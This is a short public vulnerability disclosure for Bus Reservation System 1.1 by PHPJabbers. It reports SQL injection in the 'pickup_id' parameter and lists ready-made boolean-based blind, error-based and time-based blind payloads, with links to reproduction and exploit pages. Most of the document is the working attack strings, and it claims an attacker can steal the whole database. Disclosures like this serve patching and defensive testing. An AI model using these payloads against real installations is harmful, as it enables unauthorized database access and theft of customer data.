Bus Reservation System 1.1 – Multiple-SQLi
## Title: Bus Reservation System-1.1 Multiple-SQLi ## Author: nu11secur1ty ## Date: 08/26/2023 ## Vendor: https://www.phpjabbers.com/ ## Software: https://demo.phpjabbers.com/1693027053_628/preview.php?lid=1 ## Reference: https://portswigger.net/web-security/sql-injection ## Description: The `pickup_id` parameter appears to be vulnerable to SQL injection attacks. The payload ' was submitted in the pickup_id parameter, and a database error message was returned. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present. The attacker can steal information from all database! STATUS: HIGH-CRITICAL Vulnerability [+]Payload: ```mysql --- Parameter: pickup_id (GET) Type: boolean-based blind Title: Boolean-based blind - Parameter replace (original value) Payload: controller=pjFrontEnd&action=pjActionGetLocations&locale=1&hide=0&index=6138&pickup_id=(SELECT (CASE WHEN (3959=3959) THEN 0x3927 ELSE (SELECT 8499 UNION SELECT 2098) END))&session_id= Type: error-based Title: MySQL >= 5.6 error-based - Parameter replace (GTID_SUBSET) Payload: controller=pjFrontEnd&action=pjActionGetLocations&locale=1&hide=0&index=6138&pickup_id=GTID_SUBSET(CONCAT(0x71626b7a71,(SELECT (ELT(5210=5210,1))),0x716a6b7171),5210)&session_id= Type: time-based blind Title: MySQL >= 5.0.12 time-based blind - Parameter replace (substraction) Payload: controller=pjFrontEnd&action=pjActionGetLocations&locale=1&hide=0&index=6138&pickup_id=(SELECT 2616 FROM (SELECT(SLEEP(15)))clIR)&session_id= --- ``` ## Reproduce: [href](https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/phpjabbers/2023/Bus-Reservation-System-1.1-Multiple-SQLi) ## Proof and Exploit: [href](https://www.nu11secur1ty.com/2023/08/bus-reservation-system-11-multiple-sqli.html) ## Time spend: 00:25:00 |